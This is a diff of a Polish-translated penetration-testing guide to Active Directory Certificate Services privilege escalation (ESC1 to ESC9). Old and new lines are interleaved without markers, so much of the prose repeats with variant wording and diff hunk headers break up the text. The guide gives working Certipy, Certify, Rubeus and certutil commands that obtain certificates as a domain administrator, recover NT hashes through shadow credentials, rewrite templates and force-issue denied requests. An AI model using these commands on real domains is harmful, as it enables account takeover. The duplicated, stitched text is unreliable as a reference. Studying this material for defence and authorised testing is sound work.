- Identyfikatory Extended Key Usage (EKU) takie jak Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) lub brak EKU (SubCA) są uwzględnione.
- **Możliwość dla wnioskodawców do dołączenia subjectAltName w Żądaniu Podpisania Certyfikatu (CSR) jest dozwolona przez szablon:**
- Active Directory (AD) priorytetowo traktuje subjectAltName (SAN) w certyfikacie do weryfikacji tożsamości, jeśli jest obecny. Oznacza to, że poprzez określenie SAN w CSR, można zażądać certyfikatu do podszywania się pod dowolnego użytkownika (np. administratora domeny). To, czy SAN może być określony przez wnioskodawcę, jest wskazane w obiekcie AD szablonu certyfikatu przez właściwość `mspki-certificate-name-flag`. Ta właściwość jest maską bitową, a obecność flagi `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` pozwala wnioskodawcy na określenie SAN.
- **Możliwość dla wnioskodawców do dołączenia subjectAltName w żądaniu podpisania certyfikatu (CSR) jest dozwolona przez szablon:**
- Active Directory (AD) priorytetowo traktuje subjectAltName (SAN) w certyfikacie do weryfikacji tożsamości, jeśli jest obecny. Oznacza to, że poprzez określenie SAN w CSR można zażądać certyfikatu do podszywania się pod dowolnego użytkownika (np. administratora domeny). To, czy SAN może być określony przez wnioskodawcę, jest wskazane w obiekcie AD szablonu certyfikatu przez właściwość `mspki-certificate-name-flag`. Ta właściwość jest maską bitową, a obecność flagi `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` pozwala wnioskodawcy na określenie SAN.
> [!CAUTION]
> Opisana konfiguracja pozwala użytkownikom o niskich uprawnieniach na żądanie certyfikatów z dowolnym wybranym SAN, co umożliwia uwierzytelnianie jako dowolny podmiot domeny przez Kerberos lub SChannel.
Funkcja ta jest czasami włączana, aby wspierać generację certyfikatów HTTPS lub hostów w locie przez produkty lub usługi wdrożeniowe, lub z powodu braku zrozumienia.
Funkcja ta jest czasami włączana, aby wspierać generowanie certyfikatów HTTPS lub hostów w locie przez produkty lub usługi wdrożeniowe, lub z powodu braku zrozumienia.
Zauważono, że utworzenie certyfikatu z tą opcją wywołuje ostrzeżenie, co nie ma miejsca, gdy istniejący szablon certyfikatu (taki jak szablon `WebServer`, który ma włączoną `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) jest duplikowany, a następnie modyfikowany w celu uwzględnienia OID uwierzytelniania.
@ -47,7 +47,7 @@ Następnie możesz przekształcić wygenerowany **certyfikat do formatu `.pfx`**
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Binarne pliki Windows "Certreq.exe" i "Certutil.exe" mogą być używane do generowania PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Binaries Windows "Certreq.exe" i "Certutil.exe" mogą być używane do generowania PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Enumeracja szablonów certyfikatów w schemacie konfiguracji lasu AD, szczególnie tych, które nie wymagają zatwierdzenia lub podpisów, posiadających EKU Client Authentication lub Smart Card Logon oraz z włączonym flagą `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, może być przeprowadzona poprzez uruchomienie następującego zapytania LDAP:
```
@ -71,7 +71,7 @@ Certyfikaty z **brakiem EKU**, które działają jako certyfikaty podrzędnej CA
Jednak nowe certyfikaty utworzone do **uwierzytelniania domeny** nie będą działać, jeśli podrzędna CA nie jest zaufana przez obiekt **`NTAuthCertificates`**, co jest ustawieniem domyślnym. Niemniej jednak atakujący może nadal tworzyć **nowe certyfikaty z dowolnym EKU** i dowolnymi wartościami certyfikatu. Mogą one być potencjalnie **nadużywane** do szerokiego zakresu celów (np. podpisywanie kodu, uwierzytelnianie serwera itp.) i mogą mieć znaczące implikacje dla innych aplikacji w sieci, takich jak SAML, AD FS lub IPSec.
Aby wyliczyć szablony, które pasują do tego scenariusza w schemacie konfiguracji lasu AD, można uruchomić następujące zapytanie LDAP:
Aby enumerować szablony, które pasują do tego scenariusza w schemacie konfiguracji lasu AD, można uruchomić następujące zapytanie LDAP:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
@ -81,9 +81,9 @@ Aby wyliczyć szablony, które pasują do tego scenariusza w schemacie konfigura
Ten scenariusz jest podobny do pierwszego i drugiego, ale **wykorzystuje** **inny EKU** (Agent Żądania Certyfikatu) oraz **2 różne szablony** (dlatego ma 2 zestawy wymagań),
**EKU Agenta Żądania Certyfikatu** (OID 1.3.6.1.4.1.311.20.2.1), znany jako **Agent Rejestracji** w dokumentacji Microsoft, pozwala podmiotowi na **rejestrację** certyfikatu **w imieniu innego użytkownika**.
**EKU Agenta Żądania Certyfikatu** (OID 1.3.6.1.4.1.311.20.2.1), znany jako **Agent Rejestracji** w dokumentacji Microsoft, pozwala podmiotowi **zarejestrować** **certyfikat** w **imię innego użytkownika**.
**„agent rejestracji”** rejestruje się w takim **szablonie** i używa uzyskanego **certyfikatu do współpodpisania CSR w imieniu innego użytkownika**. Następnie **wysyła** **współpodpisany CSR** do CA, rejestrując się w **szablonie**, który **zezwala na „rejestrację w imieniu”**, a CA odpowiada certyfikatem należącym do „innego” użytkownika.
**„agent rejestracji”** rejestruje się w takim **szablonie** i używa uzyskanego **certyfikatu do współpodpisania CSR w imieniu innego użytkownika**. Następnie **wysyła** **współpodpisany CSR** do CA, rejestrując się w **szablonie**, który **zezwala na „rejestrację w imieniu”**, a CA odpowiada **certyfikatem należącym do „innego” użytkownika**.
**Wymagania 1:**
@ -96,8 +96,8 @@ Ten scenariusz jest podobny do pierwszego i drugiego, ale **wykorzystuje** **inn
**Wymagania 2:**
- Enterprise CA przyznaje prawa do rejestracji użytkownikom o niskich uprawnieniach.
- Zatwierdzenie przez menedżera jest pomijane.
- Wersja schematu szablonu to 1 lub więcej niż 2, i określa Wymóg Wydania Polityki Aplikacji, który wymaga EKU Agenta Żądania Certyfikatu.
- Zatwierdzenie przez menedżera jest omijane.
- Wersja schematu szablonu to 1 lub przekracza 2, a on określa Wymóg Polityki Aplikacji, który wymaga EKU Agenta Żądania Certyfikatu.
- EKU zdefiniowane w szablonie certyfikatu zezwala na uwierzytelnianie w domenie.
- Ograniczenia dla agentów rejestracji nie są stosowane w CA.
@ -117,25 +117,25 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
**Użytkownicy**, którzy mają prawo do **uzyskania** **certyfikatu agenta rejestracji**, szablony, w których agenci rejestracji mogą się rejestrować, oraz **kont** w imieniu których agent rejestracji może działać, mogą być ograniczeni przez CA przedsiębiorstwa. Osiąga się to poprzez otwarcie **snap-in** `certsrc.msc`, **kliknięcie prawym przyciskiem myszy na CA**, **wybranie Właściwości**, a następnie **nawigację** do zakładki „Agenci rejestracji”.
Użytkownicy, którzy mają prawo do uzyskania certyfikatu agenta rejestracji, szablony, w których agentom rejestracji zezwala się na rejestrację, oraz konta, w imieniu których agent rejestracji może działać, mogą być ograniczone przez korporacyjne CA. Osiąga się to poprzez otwarcie `certsrc.msc` snap-in, kliknięcie prawym przyciskiem myszy na CA, kliknięcie Właściwości, a następnie przejście do zakładki „Agenci rejestracji”.
Należy jednak zauważyć, że **domyślne** ustawienie dla CA to „**Nie ograniczaj agentów rejestracji**.” Gdy ograniczenie dla agentów rejestracji jest włączone przez administratorów, ustawienie na „Ogranicz agentów rejestracji” pozostaje niezwykle liberalne. Umożliwia to **Wszystkim** dostęp do rejestracji we wszystkich szablonach jako ktokolwiek.
Należy jednak zauważyć, że domyślne ustawienie dla CA to „Nie ograniczaj agentów rejestracji”. Gdy ograniczenie dla agentów rejestracji jest włączone przez administratorów, ustawienie na „Ogranicz agentów rejestracji” pozostaje niezwykle liberalne. Umożliwia to dostęp dla Wszystkich do rejestracji we wszystkich szablonach jako ktokolwiek.
## Kontrola dostępu do szablonów certyfikatów - ESC4
### **Wyjaśnienie**
### Wyjaśnienie
**Opis zabezpieczeń** na **szablonach certyfikatów** definiuje **uprawnienia**, które konkretne **podmioty AD** posiadają w odniesieniu do szablonu.
Opis zabezpieczeń na szablonach certyfikatów definiuje uprawnienia, które konkretni AD principals posiadają w odniesieniu do szablonu.
Jeśli **atakujący** posiada wymagane **uprawnienia** do **zmiany** **szablonu** i **wprowadzenia** jakichkolwiek **wykorzystywalnych błędów konfiguracyjnych** opisanych w **wcześniejszych sekcjach**, może to ułatwić eskalację uprawnień.
Jeśli atakujący posiada wymagane uprawnienia do zmiany szablonu i wprowadzenia jakichkolwiek wykorzystywalnych błędów konfiguracyjnych opisanych w poprzednich sekcjach, może to ułatwić eskalację uprawnień.
Znaczące uprawnienia stosowane do szablonów certyfikatów obejmują:
- **Właściciel:** Przyznaje domyślną kontrolę nad obiektem, umożliwiając modyfikację dowolnych atrybutów.
- **Pełna kontrola:** Umożliwia pełną władzę nad obiektem, w tym możliwość zmiany dowolnych atrybutów.
- **Zapisz właściciela:** Umożliwia zmianę właściciela obiektu na podmiot kontrolowany przez atakującego.
- **Zapisz Dacl:** Umożliwia dostosowanie kontroli dostępu, potencjalnie przyznając atakującemu Pełną kontrolę.
- **Zapisz właściwość:** Upoważnia do edytowania dowolnych właściwości obiektu.
- Właściciel: Przyznaje domyślną kontrolę nad obiektem, umożliwiając modyfikację dowolnych atrybutów.
- Pełna kontrola: Umożliwia pełną władzę nad obiektem, w tym zdolność do zmiany dowolnych atrybutów.
- Zapisz właściciela: Umożliwia zmianę właściciela obiektu na principal kontrolowany przez atakującego.
- Zapisz DACL: Umożliwia dostosowanie kontroli dostępu, potencjalnie przyznając atakującemu pełną kontrolę.
- Zapisz właściwość: Upoważnia do edytowania dowolnych właściwości obiektu.
### Nadużycie
@ -143,13 +143,13 @@ Przykład eskalacji uprawnień jak w poprzednim przypadku:
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
ESC4 to sytuacja, gdy użytkownik ma uprawnienia do zapisu w szablonie certyfikatu. Może to być na przykład nadużyte do nadpisania konfiguracji szablonu certyfikatu, aby uczynić szablon podatnym na ESC1.
ESC4 to sytuacja, gdy użytkownik ma uprawnienia do zapisu nad szablonem certyfikatu. Może to być na przykład nadużyte do nadpisania konfiguracji szablonu certyfikatu, aby uczynić szablon podatnym na ESC1.
Jak widać w powyższej ścieżce, tylko `JOHNPC` ma te uprawnienia, ale nasz użytkownik `JOHN` ma nowy `AddKeyCredentialLink` do `JOHNPC`. Ponieważ ta technika jest związana z certyfikatami, wdrożyłem również ten atak, który jest znany jako [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Oto mały podgląd polecenia `shadow auto` Certipy do odzyskania NT hasha ofiary.
Jak widać w powyższej ścieżce, tylko `JOHNPC` ma te uprawnienia, ale nasz użytkownik `JOHN` ma nowy `AddKeyCredentialLink` do `JOHNPC`. Ponieważ ta technika jest związana z certyfikatami, wdrożyłem również ten atak, który jest znany jako [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Oto mały podgląd polecenia `shadow auto` Certipy, aby odzyskać hasz NT ofiary.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy** może nadpisać konfigurację szablonu certyfikatu za pomocą jednego polecenia. Domyślnie **Certipy** nadpisze konfigurację, aby uczynić ją **wrażliwą na ESC1**. Możemy również określić **parametr `-save-old`, aby zapisać starą konfigurację**, co będzie przydatne do **przywracania** konfiguracji po naszym ataku.
**Certipy** może nadpisać konfigurację szablonu certyfikatu za pomocą jednego polecenia. Domyślnie **Certipy** **nadpisze** konfigurację, aby uczynić ją **wrażliwą na ESC1**. Możemy również określić **parametr `-save-old`, aby zapisać starą konfigurację**, co będzie przydatne do **przywracania** konfiguracji po naszym ataku.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -170,7 +170,7 @@ Rozbudowana sieć powiązań opartych na ACL, która obejmuje kilka obiektów po
- Serwer RPC/DCOM serwera CA.
- Każdy obiekt lub kontener AD będący potomkiem w określonej ścieżce kontenera `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ścieżka ta obejmuje, ale nie ogranicza się do, kontenerów i obiektów takich jak kontener szablonów certyfikatów, kontener urzędów certyfikacji, obiekt NTAuthCertificates oraz kontener usług rejestracji.
Bezpieczeństwo systemu PKI może być zagrożone, jeśli atakujący o niskich uprawnieniach zdoła przejąć kontrolę nad którymkolwiek z tych krytycznych komponentów.
Bezpieczeństwo systemu PKI może zostać naruszone, jeśli atakujący o niskich uprawnieniach zdoła przejąć kontrolę nad którymkolwiek z tych krytycznych komponentów.
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
@ -178,7 +178,7 @@ Bezpieczeństwo systemu PKI może być zagrożone, jeśli atakujący o niskich u
Temat poruszony w [**poście CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) dotyczy również implikacji flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, jak opisano przez Microsoft. Ta konfiguracja, gdy jest aktywowana na Urzędzie Certyfikacji (CA), pozwala na włączenie **wartości zdefiniowanych przez użytkownika** w **alternatywnym nazwie podmiotu** dla **dowolnego żądania**, w tym tych skonstruowanych z Active Directory®. W związku z tym, ten przepis pozwala **intruzowi** na rejestrację za pomocą **dowolnego szablonu** skonfigurowanego do **uwierzytelniania** w domenie—szczególnie tych otwartych na rejestrację **użytkowników bez uprawnień**, jak standardowy szablon użytkownika. W rezultacie można zabezpieczyć certyfikat, umożliwiając intruzowi uwierzytelnienie jako administrator domeny lub **jakikolwiek inny aktywny podmiot** w domenie.
**Uwaga**: Podejście do dodawania **alternatywnych nazw** do Żądania Podpisania Certyfikatu (CSR), za pomocą argumentu `-attrib "SAN:"` w `certreq.exe` (nazywanego „Pary Nazwa-Wartość”), stanowi **kontrast** w porównaniu do strategii wykorzystania SAN w ESC1. Tutaj różnica polega na **tym, jak informacje o koncie są enkapsulowane**—w atrybucie certyfikatu, a nie w rozszerzeniu.
**Uwaga**: Podejście do dodawania **alternatywnych nazw** do Żądania Podpisania Certyfikatu (CSR), za pomocą argumentu `-attrib "SAN:"` w `certreq.exe` (nazywanego „Pary Nazwa-Wartość”), stanowi **kontrast** w porównaniu do strategii eksploatacji SAN w ESC1. Tutaj różnica polega na **tym, jak informacje o koncie są enkapsulowane**—w atrybucie certyfikatu, a nie w rozszerzeniu.
### Nadużycie
@ -199,7 +199,7 @@ Certify.exe find
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
Aby zmienić te ustawienia, zakładając, że posiada się **prawa administracyjne domeny** lub równoważne, można wykonać następujące polecenie z dowolnej stacji roboczej:
Aby zmienić te ustawienia, zakładając, że posiada się **uprawnienia administratora domeny** lub równoważne, można wykonać następujące polecenie z dowolnej stacji roboczej:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
@ -208,7 +208,7 @@ Aby wyłączyć tę konfigurację w swoim środowisku, flagę można usunąć za
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
> [!WARNING]
> Po aktualizacjach zabezpieczeń z maja 2022 roku, nowo wydane **certyfikaty** będą zawierać **rozszerzenie zabezpieczeń**, które włącza **właściwość `objectSid` żądającego**. Dla ESC1, ten SID pochodzi z określonego SAN. Jednak dla **ESC6**, SID odzwierciedla **`objectSid` żądającego**, a nie SAN.\
> Po aktualizacjach zabezpieczeń z maja 2022 roku, nowo wydane **certyfikaty** będą zawierać **rozszerzenie zabezpieczeń**, które włącza właściwość **`objectSid`** wnioskodawcy. Dla ESC1, ten SID pochodzi z określonego SAN. Jednak dla **ESC6**, SID odzwierciedla **`objectSid`** wnioskodawcy, a nie SAN.\
> Aby wykorzystać ESC6, system musi być podatny na ESC10 (Słabe mapowania certyfikatów), które priorytetowo traktuje **SAN nad nowym rozszerzeniem zabezpieczeń**.
## Kontrola dostępu do podatnej jednostki certyfikującej - ESC7
@ -217,22 +217,22 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
#### Wyjaśnienie
Kontrola dostępu dla jednostki certyfikującej jest utrzymywana przez zestaw uprawnień, które regulują działania CA. Te uprawnienia można zobaczyć, uzyskując dostęp do `certsrv.msc`, klikając prawym przyciskiem myszy na CA, wybierając właściwości, a następnie przechodząc do zakładki Zabezpieczenia. Dodatkowo, uprawnienia można enumerować za pomocą modułu PSPKI z poleceniami takimi jak:
Kontrola dostępu dla jednostki certyfikującej jest utrzymywana przez zestaw uprawnień, które regulują działania CA. Te uprawnienia można zobaczyć, uzyskując dostęp do `certsrv.msc`, klikając prawym przyciskiem myszy na CA, wybierając właściwości, a następnie przechodząc do zakładki Zabezpieczenia. Dodatkowo, uprawnienia można enumerować za pomocą modułu PSPKI przy użyciu poleceń takich jak:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
To zapewnia wgląd w główne prawa, mianowicie **`ManageCA`** i **`ManageCertificates`**, które odpowiadają rolom „administrator CA” i „menedżer certyfikatów” odpowiednio.
To zapewnia wgląd w podstawowe uprawnienia, mianowicie **`ManageCA`** i **`ManageCertificates`**, które odpowiadają rolom „administrator CA” i „menedżer certyfikatów” odpowiednio.
#### Nadużycie
Posiadanie praw **`ManageCA`** na urzędzie certyfikacji umożliwia głównemu użytkownikowi zdalne manipulowanie ustawieniami za pomocą PSPKI. Obejmuje to przełączanie flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`** w celu zezwolenia na specyfikację SAN w dowolnym szablonie, co jest kluczowym aspektem eskalacji domeny.
Posiadanie praw **`ManageCA`** w urzędzie certyfikacji umożliwia głównemu użytkownikowi zdalne manipulowanie ustawieniami za pomocą PSPKI. Obejmuje to przełączanie flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, aby zezwolić na specyfikację SAN w dowolnym szablonie, co jest kluczowym aspektem eskalacji domeny.
Uproszczenie tego procesu jest możliwe dzięki użyciu cmdletu **Enable-PolicyModuleFlag** w PSPKI, co pozwala na modyfikacje bez bezpośredniej interakcji z GUI.
Posiadanie praw **`ManageCertificates`** ułatwia zatwierdzanie oczekujących wniosków, skutecznie omijając zabezpieczenie „zatwierdzenie menedżera certyfikatów CA”.
Kombinacja modułów **Certify** i **PSPKI** może być wykorzystana do żądania, zatwierdzania i pobierania certyfikatu:
```powershell
```bash
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
@ -252,17 +252,17 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### Wyjaśnienie
> [!WARNING]
> W **poprzednim ataku** **`Manage CA`** uprawnienia zostały użyte do **włączenia** flagi **EDITF_ATTRIBUTESUBJECTALTNAME2** w celu przeprowadzenia **ataku ESC6**, ale nie będzie to miało żadnego efektu, dopóki usługa CA (`CertSvc`) nie zostanie ponownie uruchomiona. Kiedy użytkownik ma prawo dostępu **`Manage CA`**, użytkownik ma również prawo do **ponownego uruchomienia usługi**. Jednak to **nie oznacza, że użytkownik może ponownie uruchomić usługę zdalnie**. Ponadto, **ESC6 może nie działać od razu** w większości załatanych środowisk z powodu aktualizacji zabezpieczeń z maja 2022 roku.
> W **poprzednim ataku** **`Manage CA`** uprawnienia zostały użyte do **włączenia** flagi **EDITF_ATTRIBUTESUBJECTALTNAME2** w celu przeprowadzenia **ataku ESC6**, ale nie będzie to miało żadnego efektu, dopóki usługa CA (`CertSvc`) nie zostanie ponownie uruchomiona. Gdy użytkownik ma prawo dostępu **`Manage CA`**, użytkownik ma również prawo do **ponownego uruchomienia usługi**. Jednak **nie oznacza to, że użytkownik może ponownie uruchomić usługę zdalnie**. Ponadto, E**SC6 może nie działać od razu** w większości załatanych środowisk z powodu aktualizacji zabezpieczeń z maja 2022 roku.
Dlatego tutaj przedstawiony jest inny atak.
Dlatego przedstawiony jest tutaj inny atak.
Wymagania wstępne:
- Tylko uprawnienie **`ManageCA`**
- Tylko **`ManageCA` uprawnienie**
- Uprawnienie **`Manage Certificates`** (może być przyznane z **`ManageCA`**)
- Szablon certyfikatu **`SubCA`** musi być **włączony** (może być włączony z **`ManageCA`**)
Technika opiera się na fakcie, że użytkownicy z prawem dostępu **`Manage CA`** _i_ **`Manage Certificates`** mogą **wydawać nieudane żądania certyfikatów**. Szablon certyfikatu **`SubCA`** jest **wrażliwy na ESC1**, ale **tylko administratorzy** mogą zarejestrować się w szablonie. Tak więc, **użytkownik** może **zażądać** rejestracji w **`SubCA`** - co zostanie **odmówione** - ale **następnie wydane przez menedżera**.
Technika opiera się na fakcie, że użytkownicy z prawem dostępu `Manage CA` _i_ `Manage Certificates` mogą **wydawać nieudane żądania certyfikatów**. Szablon certyfikatu **`SubCA`** jest **wrażliwy na ESC1**, ale **tylko administratorzy** mogą zapisać się do szablonu. W związku z tym, **użytkownik** może **zażądać** zapisu do **`SubCA`** - co zostanie **odrzucone** - ale **następnie wydane przez menedżera**.
#### Nadużycie
@ -285,7 +285,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
Jeśli spełniliśmy wymagania wstępne dla tego ataku, możemy zacząć od **zażądania certyfikatu opartego na szablonie `SubCA`**.
Jeśli spełniliśmy wymagania wstępne do tego ataku, możemy zacząć od **zażądania certyfikatu opartego na szablonie `SubCA`**.
**To żądanie zostanie odrzucone**, ale zapiszemy klucz prywatny i zanotujemy identyfikator żądania.
```bash
@ -299,7 +299,7 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
Za pomocą naszych **`Manage CA` i `Manage Certificates`**, możemy następnie **wydać nieudane żądanie certyfikatu** za pomocą polecenia `ca` i parametru `-issue-request <request ID>`.
Z naszymi **`Manage CA` i `Manage Certificates`** możemy następnie **wydać nieudane żądanie certyfikatu** za pomocą polecenia `ca` i parametru `-issue-request <request ID>`.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -323,12 +323,12 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Wyjaśnienie
> [!NOTE]
> W środowiskach, w których **AD CS jest zainstalowane**, jeśli istnieje **punkt końcowy rejestracji w sieci** podatny na ataki i przynajmniej jeden **szablon certyfikatu jest opublikowany**, który zezwala na **rejestrację komputerów w domenie i uwierzytelnianie klientów** (takich jak domyślny **`Machine`**), możliwe jest, aby **jakikolwiek komputer z aktywną usługą spoolera został skompromitowany przez atakującego**!
> W środowiskach, w których **zainstalowano AD CS**, jeśli istnieje **punkt końcowy rejestracji w sieci** podatny na ataki i przynajmniej jeden **szablon certyfikatu jest opublikowany**, który zezwala na **rejestrację komputerów w domenie i uwierzytelnianie klientów** (takich jak domyślny **`Machine`**), możliwe jest, aby **jakikolwiek komputer z aktywną usługą spoolera został skompromitowany przez atakującego**!
Kilka **metod rejestracji opartych na HTTP** jest obsługiwanych przez AD CS, udostępnionych przez dodatkowe role serwera, które mogą być instalowane przez administratorów. Te interfejsy do rejestracji certyfikatów opartej na HTTP są podatne na **ataki NTLM relay**. Atakujący, z **skomprymowanej maszyny, może podszyć się pod dowolne konto AD, które uwierzytelnia się za pomocą przychodzącego NTLM**. Podczas podszywania się pod konto ofiary, te interfejsy internetowe mogą być wykorzystywane przez atakującego do **żądania certyfikatu uwierzytelnienia klienta przy użyciu szablonów certyfikatów `User` lub `Machine`**.
Kilka **metod rejestracji opartych na HTTP** jest obsługiwanych przez AD CS, udostępnionych przez dodatkowe role serwera, które administratorzy mogą zainstalować. Te interfejsy do rejestracji certyfikatów opartej na HTTP są podatne na **ataki NTLM relay**. Atakujący, z **skomprymowanej maszyny, może podszyć się pod dowolne konto AD, które uwierzytelnia się za pomocą przychodzącego NTLM**. Podszywając się pod konto ofiary, te interfejsy internetowe mogą być używane przez atakującego do **żądania certyfikatu uwierzytelniającego klienta przy użyciu szablonów certyfikatów `User` lub `Machine`**.
- **Interfejs rejestracji w sieci** (starsza aplikacja ASP dostępna pod adresem `http://<caserver>/certsrv/`), domyślnie obsługuje tylko HTTP, co nie oferuje ochrony przed atakami NTLM relay. Dodatkowo, wyraźnie zezwala tylko na uwierzytelnianie NTLM przez nagłówek HTTP Authorization, co sprawia, że bardziej bezpieczne metody uwierzytelniania, takie jak Kerberos, są nieodpowiednie.
- **Usługa rejestracji certyfikatów** (CES), **Polityka rejestracji certyfikatów** (CEP) Web Service oraz **Usługa rejestracji urządzeń sieciowych** (NDES) domyślnie obsługują uwierzytelnianie negotiate przez swój nagłówek HTTP Authorization. Uwierzytelnianie negotiate **obsługuje zarówno** Kerberos, jak i **NTLM**, co pozwala atakującemu na **obniżenie poziomu do uwierzytelniania NTLM** podczas ataków relay. Chociaż te usługi internetowe domyślnie włączają HTTPS, HTTPS sam w sobie **nie chroni przed atakami NTLM relay**. Ochrona przed atakami NTLM relay dla usług HTTPS jest możliwa tylko wtedy, gdy HTTPS jest połączone z wiązaniem kanałów. Niestety, AD CS nie aktywuje Rozszerzonej Ochrony dla Uwierzytelniania na IIS, co jest wymagane do wiązania kanałów.
- **Usługa rejestracji certyfikatów** (CES), **Polityka rejestracji certyfikatów** (CEP) Web Service oraz **Usługa rejestracji urządzeń sieciowych** (NDES) domyślnie obsługują uwierzytelnianie negotiate przez nagłówek HTTP Authorization. Uwierzytelnianie negotiate **obsługuje zarówno** Kerberos, jak i **NTLM**, co pozwala atakującemu na **obniżenie poziomu do uwierzytelniania NTLM** podczas ataków relay. Chociaż te usługi internetowe domyślnie umożliwiają HTTPS, samo HTTPS **nie chroni przed atakami NTLM relay**. Ochrona przed atakami NTLM relay dla usług HTTPS jest możliwa tylko wtedy, gdy HTTPS jest połączone z wiązaniem kanałów. Niestety, AD CS nie aktywuje Rozszerzonej Ochrony dla Uwierzytelniania na IIS, co jest wymagane do wiązania kanałów.
Powszechnym **problemem** z atakami NTLM relay jest **krótki czas trwania sesji NTLM** oraz niemożność atakującego do interakcji z usługami, które **wymagają podpisywania NTLM**.
@ -352,12 +352,12 @@ Certify.exe cas
```
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
Właściwość `msPKI-Enrollment-Servers` jest używana przez korporacyjne urzędy certyfikacji (CAs) do przechowywania punktów końcowych usługi rejestracji certyfikatów (CES). Punkty te można analizować i wyświetlać za pomocą narzędzia **Certutil.exe**:
Właściwość `msPKI-Enrollment-Servers` jest używana przez korporacyjne urzędy certyfikacji (CAs) do przechowywania punktów końcowych usługi rejestracji certyfikatów (CES). Punkty te można analizować i wyświetlać, korzystając z narzędzia **Certutil.exe**:
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
<figure><img src="../../../images/image (757).png" alt=""><figcaption></figcaption></figure>
```powershell
```bash
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
@ -397,9 +397,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
```
## No Security Extension - ESC9 <a href="#id-5485" id="id-5485"></a>
### Explanation
### Wyjaśnienie
Nowa wartość **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) dla **`msPKI-Enrollment-Flag`**, określana jako ESC9, zapobiega osadzaniu **nowego `szOID_NTDS_CA_SECURITY_EXT` rozszerzenia zabezpieczeń** w certyfikacie. Flaga ta staje się istotna, gdy `StrongCertificateBindingEnforcement` jest ustawione na `1` (domyślne ustawienie), co kontrastuje z ustawieniem `2`. Jej znaczenie wzrasta w scenariuszach, w których słabsze mapowanie certyfikatów dla Kerberos lub Schannel może być wykorzystane (jak w ESC10), biorąc pod uwagę, że brak ESC9 nie zmieniłby wymagań.
Nowa wartość **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) dla **`msPKI-Enrollment-Flag`**, znana jako ESC9, zapobiega osadzaniu **nowego rozszerzenia bezpieczeństwa `szOID_NTDS_CA_SECURITY_EXT`** w certyfikacie. Flaga ta staje się istotna, gdy `StrongCertificateBindingEnforcement` jest ustawione na `1` (domyślne ustawienie), co kontrastuje z ustawieniem `2`. Jej znaczenie wzrasta w scenariuszach, w których słabsze mapowanie certyfikatów dla Kerberos lub Schannel może być wykorzystane (jak w ESC10), biorąc pod uwagę, że brak ESC9 nie zmieniłby wymagań.
Warunki, w których ustawienie tej flagi staje się istotne, obejmują:
@ -408,7 +408,7 @@ Warunki, w których ustawienie tej flagi staje się istotne, obejmują:
- Jakiekolwiek EKU uwierzytelniania klienta jest określone przez certyfikat.
- Uprawnienia `GenericWrite` są dostępne dla dowolnego konta, aby skompromitować inne.
### Abuse Scenario
### Scenariusz nadużycia
